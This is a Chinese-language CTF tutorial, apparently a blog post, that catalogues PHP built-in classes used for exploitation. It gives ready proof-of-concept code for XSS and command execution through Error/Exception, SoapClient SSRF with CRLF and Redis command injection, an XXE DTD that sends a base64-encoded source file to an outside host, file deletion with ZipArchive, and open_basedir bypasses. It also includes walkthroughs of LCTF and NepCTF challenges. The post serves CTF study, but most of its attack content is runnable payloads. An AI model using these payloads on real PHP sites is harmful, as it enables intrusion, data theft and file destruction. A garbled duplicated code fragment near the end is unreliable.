CTF中常用的php原生类总结

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
Web应用防火墙 3.0,每月20元额度 3个月
简介: CTF中常用的php原生类总结

前提知识

寻找原生类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'    
            // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

常遇到的几个 PHP 原生类如下

Error

Exception

SoapClient

DirectoryIterator

FilesystemIterator

SplFileObject

SimpleXMLElement

Error/Exception

  • message:错误消息内容
  • code:错误代码
  • file:抛出错误的文件名
  • line:抛出错误在该文件中的行数

Error XSS

适用于php7

开启报错的情况下

<?php
$a = unserialize($_GET['b']);
echo $a;
<?php
$a = new Error("<script>alert('1')</script>");
echo urlencode(serialize($a));

Excepthin XSS

适用于php5、7版本

开启报错的情况下

<?php
$a = new Exception("<script>alert('1')</script>");
echo urlencode(serialize($a));

Error 命令执行

<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");
?>

?a=Error&b=phpinfo

?a=Error&b=system(‘ipconfig’)

绕过哈希比较

Error implements Throwable {
  /* 属性 */
  protected string $message ;
  protected int $code ;
  protected string $file ;
  protected int $line ;
  /* 方法 */
  public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
  final public getMessage ( ) : string
  final public getPrevious ( ) : Throwable
  final public getCode ( ) : mixed
  final public getFile ( ) : string
  final public getLine ( ) : int
  final public getTrace ( ) : array
  final public getTraceAsString ( ) : string
  public __toString ( ) : string
  final private __clone ( ) : void
}
<?php
$a = new Error("coleak",1);$b = new Error("coleak",2);
echo $a.PHP_EOL.PHP_EOL;
echo $b;

Error: coleak in E:\phpproject\Pro\1.php:2

Stack trace:

#0 {main}

Error: coleak in E:\phpproject\Pro\1.php:2

Stack trace:

#0 {main}

$a$b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的

利用Error和Exception类的这一点可以绕过在PHP类中的哈希比较

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
        }
    }
}
if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}
?>

本地测试

<?php
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
            if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
                eval($this->syc);
            } else {
                die("Try Hard !!");
            }
        }
    }
}
$s=new SYCLOVER();
$s->lover=array("coleak");
$s->syc[]="echo 1;";
//echo urlencode(serialize($s));
if( ($s->syc != $s->lover) && (md5($s->syc) === md5($s->lover)) && (sha1($s->syc)=== sha1($s->lover)) ) {
    if (!preg_match("/\<\?php|\(|\)|\"|\'/", $s->syc, $match)) {
        eval($s->syc);
//        echo 1;
    }
}
//    } else {
//        die("Try Hard !!");
//    }
//    echo 1;
?>

eval($s->syc);这步报错,不能将一个数组当代码执行

只有当$s->syc[0]则可以成功执行命令

md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。
preg_match,过滤了括号,无法调用函数,尝试include "flag",但是引号过滤了,我们可以使用两次取反,自动获得字符串的。

poc

<?php
class SYCLOVER {
    public $syc;
    public $lover;
}
$cmd='flag';
$cmd=urlencode(~$cmd);
//echo $cmd;
$str = "?><?=include~".urldecode("%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>

SoapClient

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

SSRF

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发。

<?php
//uri+cc=SOAPAction
$a = new SoapClient(null,array('location'=>'http://ip:6666/coleak', 'uri'=>'http://ip:6666'));
$a->cc();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
POST /coleak HTTP/1.1
Host: ip:6666
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.3.4
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://ip:6666#cc"
Content-Length: 386
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://ip:6666" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:cc/></SOAP-ENV:Body></SOAP-ENV:Envelope>

SSRF+CRLF

<?php
$target = 'http://ip:6666';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test11'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
POST / HTTP/1.1
Host: ip:6666
Connection: Keep-Alive
User-Agent: WHOAMI
Cookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4
Content-Type: text/xml; charset=utf-8
SOAPAction: "test11#a"
Content-Length: 367
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test11" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>

插入Redis命令

<?php
$target = 'http://ip:6666/';
$poc = "CONFIG SET dir /var/www/html";
$a = new SoapClient(null,array('location' => $target, 'uri' => 'hello^^'.$poc.'^^hello'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
POST / HTTP/1.1
Host: ip:6666
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.3.4
Content-Type: text/xml; charset=utf-8
SOAPAction: "hello
CONFIG SET dir /var/www/html
hello#a"
Content-Length: 403

发送POST数据包,Content-Type 的值设置为 application/x-www-form-urlencoded,而且Content-Length的值需要与post的数据长度一致。而且http头跟post数据中间间隔\r\n\r\n,其他间隔\r\n

<?php
$target = 'http://ip:6666/';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'coleak^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
POST / HTTP/1.1
Host: ip:6666
Connection: Keep-Alive
User-Agent: coleak
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93
Content-Length: 11
data=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

bestphp’s revenge

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) 
{
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { }

扫描目录出来flag.php

only localhost can get flag!
session_start(); 
echo 'only localhost can get flag!'; 
$flag = 'LCTF{*************************}'; 
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1")
{ $_SESSION['flag'] = $flag; }
only localhost can get flag!

这里REMOTE_ADDR没法通过X-Forwarded-For等常规方法伪造,考虑使用php原生类进行SSRF

?name=coleak
array(1) { ["name"]=> string(6) "coleak" }

poc

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "coleak\r\nCookie: PHPSESSID=33t4er7gfrn4ki5d3sljmps1t1\r\n",
    'uri' => "coleak"));
$payload = urlencode(serialize($attack));
echo $payload;

O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A6%3A%22coleak%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A54%3A%22coleak%0D%0ACookie%3A+PHPSESSID%3D33t4er7gfrn4ki5d3sljmps1t1%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

现在需要我们反序列化这个对象,但这里有没有反序列化点,我们在题目源码中发现了session_start();,我们可以用session反序列化漏洞。但是如果想要利用session反序列化漏洞的话,我们必须要有 ini_set() 这个函数来更改 session.serialize_handler 的值,将session反序列化引擎修改为其他的引擎,本来应该使用ini_set()这个函数的,但是这个函数不接受数组,所以就不行了。于是我们就用session_start()函数来代替,即构造 session_start(serialize_handler=php_serialize) 就行了。我们可以利用题目中的 call_user_func($_GET['f'], $_POST); 函数,传入GET:/?f=session_start POST:serialize_handler=php_serialize,实现 session_start(serialize_handler=php_serialize) 的调用来修改此页面的序列化引擎为php_serialize。
http://28292289-4593-48f5-b253-e67aee6218eb.node4.buuoj.cn:81/?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A6%3A%22coleak%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A54%3A%22coleak%0D%0ACookie%3A+PHPSESSID%3D33t4er7gfrn4ki5d3sljmps1t1%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
serialize_handler=php_serialize

此时,我们成功将我们php原生类SoapClient构造的payload传入了构造的session中,当页面重新加载时,就会自动将其反序列化。但此时还不会触发SSRF,需要触发 __call 方法来造成SSRF,该方法在访问对象中一个不存在的方法时会被自动调用,所以单纯反序列化还不行,我们还需要访问该对象中一个不存在的方法

call_user_func(call_user_func, array(reset($_SESSION), 'welcome_to_the_lctf2018'));
//call_user_func()函数有一个特性,就是当只传入一个数组时,可以用call_user_func()来调用一个类里面的方法,call_user_func()会将这个数组中的第一个值当做类名,第二个值当做方法名。
http://28292289-4593-48f5-b253-e67aee6218eb.node4.buuoj.cn:81/?f=extract
b=call_user_func

重新访问得到存在session的flag

SimpleXMLElement

final public __construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )
    public SimpleXMLElement::__construct
(
    string $data,
    int $options = 0,
    bool $dataIsURL = false,
    string $namespaceOrPrefix = "",
    bool $isPrefix = false
)

XXE

SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。

当我们将第三个参数data_is_url设置为true的话,我们就可以调用远程xml文件,实现xxe的攻击。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。

Homework

<?php 
class calc{
  function __construct__(){
    calc();
  }
  function calc($args1,$method,$args2){
    $args1=intval($args1);
    $args2=intval($args2);
    switch ($method) {
      case 'a':
        $method="+";
        break;
      case 'b':
        $method="-";
        break;
      case 'c':
        $method="*";
        break;
      case 'd':
        $method="/";
        break;
      default:
        die("invalid input");
    }
    $Expression=$args1.$method.$args2;
    eval("\$r=$Expression;");
    die("Calculation results:".$r);
  }
}
?>
根据calc类里面的内容得知,这里通过module传参去调用calc类,然后剩下3个变量是calc($args1,$method,$args2)函数中参数。
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:6666?p=%file;'>">
a.xml
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
/show.php?module=SimpleXMLElement&args[]=http://ip/a.xml&args[]=2&args[]=true

index.php

<?php
  include("function.php");
  include("config.php");
  $username=w_addslashes($_COOKIE['user']);
  $check_code=$_COOKIE['cookie-check'];
  $check_sql="select password from user where username='".$username."'";
  $check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
  if($check_sum!==$check_code){
    header("Location: login.php");
  }
?>
<?php readfile("./calc.php");?>

show.php

<?php
  include("function.php");
  include("config.php");
  include("calc.php");
  if(isset($_GET['action'])&&$_GET['action']=="view"){
    if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
    if(!empty($_GET['filename'])){
      $file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
      $file_name=$file_info['0']['2'];
      echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
      $new_sig=mt_rand();
      sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
      die("<br>new sig:".$new_sig);
    }else{
      die("Null filename");
    }
  }
  $username=w_addslashes($_COOKIE['user']);
  $check_code=$_COOKIE['cookie-check'];
  $check_sql="select password from user where username='".$username."'";
  $check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
  if($check_sum!==$check_code){
    header("Location: login.php");
  }
  $module=$_GET['module'];
  $args=$_GET['args'];
  do_api($module,$args);
?>

function.php

<?php
function sql_result($sql,$mysql){
  if($result=mysqli_query($mysql,$sql)){
    $result_array=mysqli_fetch_all($result);
    return $result_array;
  }else{
     echo mysqli_error($mysql);
     return "Failed";
  }
}
function upload_file($mysql){
  if($_FILES){
    if($_FILES['file']['size']>2*1024*1024){
      die("File is larger than 2M, forbidden upload");
    }
    if(is_uploaded_file($_FILES['file']['tmp_name'])){
      if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
        $filehash=md5(mt_rand());
        if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");
        $new_filename="./upload/".$filehash.".txt";
        move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
        die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
      }else{
        $hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
        $new_filename="./upload/".$hash[0][0].".txt";
        move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
        die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
      }
    }else{
      die("Not upload file");
    }
  }
}
function w_addslashes($string){
  return addslashes(trim($string));
}
function do_api($module,$args){
  $class = new ReflectionClass($module);
  $a=$class->newInstanceArgs($args);
}
?>

十六进制转化

a='277c7c6578747261637476616c756528312c636f6e63617428307837652c2873656c656374207265766572736528666c6167292066726f6d20666c6167292c3078376529297c7c27'
hex_string = ""
for i in range(0, len(a), 2):
    hex_byte = a[i:i+2]  # 每两个字符为一个十六进制字节
    decimal_value = int(hex_byte, 16)  # 将十六进制字节转换为十进制值
    char = chr(decimal_value)  # 将十进制值转换为字符
    hex_string += char
print(hex_string)
import binascii
a=b"'||extractvalue(1,concat(0x7e,(select reverse(flag) from flag),0x7e))||'"
a=binascii.b2a_hex(a)
print(a)

ZipArchive

ZipArchive类可以对文件进行压缩与解压缩处理。

条件:php 5.20

常见的类方法

ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip压缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭ziparchive
ZipArchive::extractTo:将压缩包解压
ZipArchive::open:打开一个zip压缩包
ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除

ZipArchive::open方法

ZipArchive::open(string $filename, int $flags=0)
该方法用来打开一个新的或现有的zip存档以进行读取,写入或修改。
filename:要打开的ZIP存档的文件名。
flags:用于打开档案的模式。有以下几种模式:
ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
ZipArchive::RDONLY:只读模式打开压缩包。
ZipArchive::EXCL:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。
注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8

[NepCTF 2021]梦里花开牡丹亭

<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;
    public  $file;
    public  $filename;
    public  $content;
    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }
    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){    // admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }
}
class login{
    public $file;
    public $filename;
    public $content;
    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){    // 当waf.txt没读取成功时才能得到flag
            shell($content);
        }else{
            echo file_get_contents($filename.".php");    // filename=php://filter/read=convert.base64-encode/resource=shell
        }
    }
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
    @unserialize(base64_decode($_POST['unser']));
}

这里一开始存在waf.txt不能执行shell,通过反序列化进入file_get_contents先读取shell.php的内容

poc

$a=new Game();
$a->register='admin';
$a->filename='shell';
$a->password='admin';
$a->username='admin';
$a->content="coleak";
$a->file=new Open();
echo base64_encode(serialize($a));

这里需要查看源码才能看到shell.php的内容,因此我们也可以将filename改为伪协议

php://filter/read=convert.base64-encode/resource=shell

shell.php

<?php
function shell($cmd){
    if(strlen($cmd)<10){
        if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
            die("NO");
        }else{
            return system($cmd);
        }
    }else{
        die('so long!');
    }
}

利用ZipArchive的open函数删除文件

<?php
error_reporting(-1);
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;
    public  $file;
    public  $filename;
    public  $content;
}
class login{
    public $file;
    public $filename;
    public $content;
}
class Open{
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new ZipArchive();
$poc->filename = "waf.txt";
$poc->content = 8;
echo base64_encode(serialize($poc));
?>

执行命令

$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "xxx";
$poc->content = "n\l /flag";
echo base64_encode(serialize($poc));
?>

文件操作类

  • DirectoryIterator 类
  • FilesystemIterator 类
  • GlobIterator 类
  • SplFileObject 类

遍历文件目录

  • DirectoryIterator 类
  • FilesystemIterator 类
  • GlobIterator 类

DirectoryIterator

执行echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名

<?php
$dir=new DirectoryIterator("/");
echo $dir;

遍历文件目录,直接对文件全部输出出来

<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
    echo($f.'<br>');
    //echo($f->__toString().'<br>');
}

glob:// 协议用来查找匹配的文件路径模式

<?php
$dir=new DirectoryIterator("glob:///*fl*");
echo $dir;

FilesystemIterator

FilesystemIterator 类与 DirectoryIterator 类相同

GlobIterator类

<?php
$dir = '/fl*';
$a = new GlobIterator($dir);
foreach($a as $f){
    echo $f;
}
?>

绕过 open_basedir

获取目录

DirectoryIterator类 + glob://协议

<?php
  print_r(ini_get('open_basedir').'<br>');
  $dir_array = array();
  $dir = new DirectoryIterator('glob:///*');//目录内容
  foreach($dir as $d){
      $dir_array[] = $d->__toString();
  }
  $dir = new DirectoryIterator('glob:///.*');//. ..
  foreach($dir as $d){
      $dir_array[] = $d->__toString();
  }
  sort($dir_array);
  foreach($dir_array as $d){
      echo $d.' ';
  }
?>

FilesystemIterator类 + glob://协议

<?php
$dir_array = array();
$dir = new FilesystemIterator('glob:///*');
foreach($dir as $d){
    $dir_array[] = $d->__toString();
}
$dir = new FilesystemIterator('glob:///.*');
foreach($dir as $d){
    $dir_array[] = $d->__toString();
}
sort($dir_array);
foreach($dir_array as $d){
    echo $d.' ';
}

文件读取

<?php
ini_set('open_basedir','/coleak/c');
print_r(ini_get('open_basedir'));
  echo file_get_contents('/flag.txt');

这里由于设置了文件工作目录无法直接读取到flag,需要绕过open_basedir,但shell命令不受影响

官方文档显示脚本内定义的open_basedir只能收紧在php.ini的配置。而不能拓宽配置,因此不能直接使用ini_set_来修改路径

ini_set(‘open_basedir’,‘/’);

ini_set() + 相对路径

由于open_basedir自身的问题,设置为相对路径..在解析的时候会致使自身向上跳转一层

<?php
    show_source(__FILE__);
    print_r(ini_get('open_basedir').'<br>');
    mkdir('test');
    chdir('test');
    ini_set('open_basedir','..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    ini_set('open_basedir','C:\\');
    print_r(ini_get('open_basedir').'<br>');
    echo file_get_contents('C:\\test\\test.txt');
?>

symlink

symlink是软连接,通过偷梁换柱的方法绕过open_basedir
当前路径是/www/wwwroot/default,新建目录数量=需要上跳次数+1
软连接中相对路径的转换是不区分类型,用文件夹顶替了软连接
<?php
    show_source(__FILE__);
    mkdir("1");chdir("1");
    mkdir("2");chdir("2");
    mkdir("3");chdir("3");
    mkdir("4");chdir("4");
    chdir("..");chdir("..");chdir("..");chdir("..");
    symlink("1/2/3/4","tmplink");
    symlink("tmplink/../../../../etc/hosts","bypass");
    unlink("tmplink");
    mkdir("tmplink");
    echo file_get_contents("bypass");
?>

读取文件

SplFileObject

读取文件的一行

<?php
$context = new SplFileObject('/etc/passwd');
echo $context;

对文件中的每一行内容进行遍历

<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}
hdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    ini_set('open_basedir','C:\\');
    print_r(ini_get('open_basedir').'<br>');
    echo file_get_contents('C:\\test\\test.txt');
?>


相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
6月前
|
Java 程序员 PHP
PHP对象和类
PHP对象和类
58 0
|
23天前
|
前端开发 PHP 数据库
原生PHP网站源码
原生PHP网站通常指的是使用纯PHP代码编写的网站,没有使用框架或者类库来简化开发流程。
25 1
|
1月前
|
设计模式 SQL 安全
PHP中的设计模式:单例模式的深入探索与实践在PHP开发领域,设计模式是解决常见问题的高效方案集合。它们不是具体的代码,而是一种编码和设计经验的总结。单例模式作为设计模式中的一种,确保了一个类仅有一个实例,并提供一个全局访问点。本文将深入探讨单例模式的基本概念、实现方式及其在PHP中的应用。
单例模式在PHP中的应用广泛,尤其在处理数据库连接、日志记录等场景时,能显著提高资源利用率和执行效率。本文从单例模式的定义出发,详细解释了其在PHP中的不同实现方法,并探讨了使用单例模式的优势与注意事项。通过对示例代码的分析,读者将能够理解如何在PHP项目中有效应用单例模式。
|
2月前
|
Web App开发 PHP iOS开发
易优CMS PHP原生标签调用
这段代码实现了一个自动化工具,用于从指定的漫画网站下载章节内容,并将其转换为PDF格式。它首先通过用户输入的链接获取网页信息,然后根据用户的选择下载整个章节或特定章节的图片,并保存到本地文件夹中。下载完成后,工具会将这些图片合并成一个PDF文件,并添加书签以便于浏览。此外,代码还包含了异常处理机制,确保在网络不稳定时能够重试下载。
30 4
|
2月前
|
设计模式 SQL 安全
PHP中的设计模式:单例模式的深入探索与实践在PHP的编程实践中,设计模式是解决常见软件设计问题的最佳实践。单例模式作为设计模式中的一种,确保一个类只有一个实例,并提供全局访问点,广泛应用于配置管理、日志记录和测试框架等场景。本文将深入探讨单例模式的原理、实现方式及其在PHP中的应用,帮助开发者更好地理解和运用这一设计模式。
在PHP开发中,单例模式通过确保类仅有一个实例并提供一个全局访问点,有效管理和访问共享资源。本文详细介绍了单例模式的概念、PHP实现方式及应用场景,并通过具体代码示例展示如何在PHP中实现单例模式以及如何在实际项目中正确使用它来优化代码结构和性能。
45 2
|
2月前
|
PHP
PHP中的面向对象编程:理解类与对象
本文将深入探讨PHP中面向对象编程的核心概念——类与对象。通过实例讲解,帮助读者更好地理解如何在PHP中运用OOP编写更高效、可维护的代码。
44 9
|
1月前
|
缓存 NoSQL 数据处理
原生php实现redis缓存配置和使用方法
通过上述步骤,你可以在PHP项目中配置并使用Redis作为高性能的缓存解决方案。合理利用Redis的各种数据结构和特性,可以有效提升应用的响应速度和数据处理效率。记得在实际应用中根据具体需求选择合适的缓存策略,如设置合理的过期时间,以避免内存过度消耗。
50 0
|
3月前
|
PHP 开发者
PHP中的面向对象编程:掌握类与对象的精髓
探索PHP的面向对象编程世界,本文将带你了解如何通过创建和操作类来实例化对象。我们将深入讲解类的声明、构造函数的使用以及继承和多态性的概念。准备好,让我们一起在代码的海洋中航行,揭开PHP对象编程的神秘面纱!
|
4月前
|
测试技术 PHP 开发者
原生php单元测试示例
通过上面的示例,我们可以看到,即使在缺乏专门测试框架的情况下,使用原生PHP代码进行基本的单元测试也是完全可行的。当然,对于更复杂的项目,利用像PHPUnit这样的专业工具将带来更多的便利和高级功能。不过,理解单元测试的基本概念和能够手工编写测试是每个PHP开发者的宝贵技能。
36 4
|
4月前
|
测试技术 PHP 开发者
原生php单元测试示例
通过上面的示例,我们可以看到,即使在缺乏专门测试框架的情况下,使用原生PHP代码进行基本的单元测试也是完全可行的。当然,对于更复杂的项目,利用像PHPUnit这样的专业工具将带来更多的便利和高级功能。不过,理解单元测试的基本概念和能够手工编写测试是每个PHP开发者的宝贵技能。
22 1